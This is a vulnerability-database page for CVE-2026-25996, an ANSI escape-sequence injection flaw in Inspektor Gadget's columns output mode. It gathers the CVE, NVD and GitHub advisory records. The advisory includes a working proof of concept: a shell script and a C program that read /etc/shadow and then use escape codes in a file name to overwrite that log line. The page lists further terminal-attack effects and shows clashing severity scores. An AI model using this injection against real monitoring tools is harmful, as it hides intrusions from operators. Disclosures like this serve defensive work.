Vulnerability-Lookup

CVE-2026-25996 (GCVE-0-2026-25996)

Vulnerability from cvelistv5 – Published: 2026-02-12 20:06 – Updated: 2026-02-12 20:57

Title

Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode

Summary

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-12 20:56 UTC

CWE

CWE-150 - Improper Neutralization of Escape, Meta, or Control Sequences

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7868 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/inspektor-gadget/inspektor-gad…	x_refsource_CONFIRM
https://github.com/inspektor-gadget/inspektor-gad…	x_refsource_MISC
https://github.com/inspektor-gadget/inspektor-gad…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
inspektor-gadget	inspektor-gadget	Affected: < 0.49.1	guessed

Show details on NVD website

JSON

To clipboard

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          },
          {
            "lang": "es",
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}

FKIE_CVE-2026-25996

Vulnerability from fkie_nvd - Published: 2026-02-12 21:16 - Updated: 2026-06-17 10:25

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2	Patch
security-advisories@github.com	https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1	Product, Release Notes
security-advisories@github.com	https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	linuxfoundation	inspektor_gadget	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "inspektor-gadget",
          "vendor": "inspektor-gadget",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.49.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:linuxfoundation:inspektor_gadget:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "EC39D2AC-694C-4CD7-B0F4-B985092E1D3B",
              "versionEndExcluding": "0.49.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged \u2013 partially or completely \u2013 event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively."
    },
    {
      "lang": "es",
      "value": "Inspektor Gadget es un conjunto de herramientas y framework para la recopilaci\u00f3n de datos y la inspecci\u00f3n del sistema en cl\u00fasteres de Kubernetes y hosts Linux utilizando eBPF. Los campos de cadena de los eventos eBPF en modo de salida de columnas se renderizan en la terminal sin ninguna sanitizaci\u00f3n de caracteres de control o secuencias de escape ANSI. Por lo tanto, una carga \u00fatil de evento forjada maliciosamente \u2013 parcial o completamente \u2013, proveniente de un contenedor observado, podr\u00eda inyectar las secuencias de escape en la terminal de los operadores de ig, con diversos efectos. El modo de salida de columnas es el predeterminado al ejecutar ig run de forma interactiva."
    }
  ],
  "id": "CVE-2026-25996",
  "lastModified": "2026-06-17T10:25:33.970",
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          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-25996",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-02-12T20:56:29.089471Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-02-12T21:16:02.820",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-150"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-34R5-6J7W-235F

Vulnerability from github – Published: 2026-04-22 18:50 – Updated: 2026-04-22 18:50

Summary

Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode

Details

Description

String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences.

Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects.

The columns output mode is the default when running ig run interactively.

PoC

Attachments

run.sh


#!/bin/bash
set -e

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
CONTAINER_NAME="poc-escape-inject"

echo "Make sure ig is running in another terminal:"
echo "  sudo ig run trace_open -c ${CONTAINER_NAME}"
echo ""
echo "Press Enter to continue..."
read -r

sudo docker run --rm \
    --name "${CONTAINER_NAME}" \
    -v "${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro" \
    gcc:latest \
    bash -c "
        gcc -o /tmp/escape_inject /src/escape_inject.c && \
        /tmp/escape_inject
    "

escape_inject.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

static void read_file(const char *path)
{
    int fd = open(path, O_RDONLY);
    if (fd >= 0)
        close(fd);
}

static void create_file(const char *path)
{
    int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
    if (fd >= 0)
        close(fd);
}

int main(void)
{
    printf("[1] normal activity\n");
    create_file("/tmp/app.log");
    printf("[2] malicious read of /etc/shadow\n");
    read_file("/etc/shadow");
    usleep(300000);
    printf("[3] tampering the log\n");
    create_file("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C");
    usleep(300000);
    return 0;
}

Setup a Linux host and build/install ig version 0.48.0
Run the attached run.sh on a terminal
Run sudo ig run trace_open -c poc-escape-inject on another terminal
Press "Enter" on the terminal attached to run.sh
Observe the events traced by ig
Notice that, at some point, the line where /etc/shadow is logged is overwritten /etc/bashrc, demonstrating the log injection

Impact

The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying columns output.

At the very least, the injection can be used for Log Injection, by inserting new lines or deleting existing ones.

However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:

lead to DoS (Denial of Service)
write to the system clipboard
create hyperlinks to attacker-controlled servers
change window title
potentially execute code (see referenced resources)

Resources

https://www.youtube.com/watch?v=spb8Gk9Z09Y

Notes

The json output mode was already sanitizing the content.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/inspektor-gadget/inspektor-gadget"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.49.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25996"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-150"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T18:50:32Z",
    "nvd_published_at": "2026-02-12T21:16:02Z",
    "severity": "MODERATE"
  },
  "details": "### Description\nString fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. \n\nTherefore, a maliciously forged \u2013\u00a0partially or completely \u2013 event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.\n\nThe `columns` output mode is the default when running `ig run` interactively.\n\n### PoC\n\n#### Attachments\nrun.sh\n```bash\n\n#!/bin/bash\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nCONTAINER_NAME=\"poc-escape-inject\"\n\necho \"Make sure ig is running in another terminal:\"\necho \"  sudo ig run trace_open -c ${CONTAINER_NAME}\"\necho \"\"\necho \"Press Enter to continue...\"\nread -r\n\nsudo docker run --rm \\\n    --name \"${CONTAINER_NAME}\" \\\n    -v \"${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro\" \\\n    gcc:latest \\\n    bash -c \"\n        gcc -o /tmp/escape_inject /src/escape_inject.c \u0026\u0026 \\\n        /tmp/escape_inject\n    \"\n```\n\nescape_inject.c\n```c\n#include \u003cfcntl.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cunistd.h\u003e\n\nstatic void read_file(const char *path)\n{\n\tint fd = open(path, O_RDONLY);\n\tif (fd \u003e= 0)\n\t\tclose(fd);\n}\n\nstatic void create_file(const char *path)\n{\n\tint fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);\n\tif (fd \u003e= 0)\n\t\tclose(fd);\n}\n\nint main(void)\n{\n\tprintf(\"[1] normal activity\\n\");\n\tcreate_file(\"/tmp/app.log\");\n\tprintf(\"[2] malicious read of /etc/shadow\\n\");\n\tread_file(\"/etc/shadow\");\n\tusleep(300000);\n\tprintf(\"[3] tampering the log\\n\");\n\tcreate_file(\"/etc\\x1b[1A/bashrc\\x1b[1B\\x1b[13C\");\n\tusleep(300000);\n\treturn 0;\n}\n```\n\n1. Setup a Linux host and build/install `ig` version `0.48.0`\n2. Run the attached `run.sh` on a terminal\n3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal\n4. Press \"Enter\" on the terminal attached to `run.sh`\n5. Observe the events traced by `ig`\n6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection\n\n\n### Impact\n\nThe impact depends on the injection point \u2013 mostly due to length limitations \u2013 and on the terminal used by the operator when running displaying `columns` output.\n\nAt the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.\n\nHowever, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:\n\n- lead to DoS (Denial of Service)\n- write to the system clipboard\n- create hyperlinks to attacker-controlled servers\n- change window title\n- potentially execute code (see referenced resources)\n\n### Resources\n- https://www.youtube.com/watch?v=spb8Gk9Z09Y\n\n### Notes\n\nThe `json` output mode was already sanitizing the content.",
  "id": "GHSA-34r5-6j7w-235f",
  "modified": "2026-04-22T18:50:32Z",
  "published": "2026-04-22T18:50:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25996"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/inspektor-gadget/inspektor-gadget"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

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CVE-2026-25996 (GCVE-0-2026-25996)

FKIE_CVE-2026-25996

GHSA-34R5-6J7W-235F

Description

PoC

Attachments

Impact

Resources

Notes

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour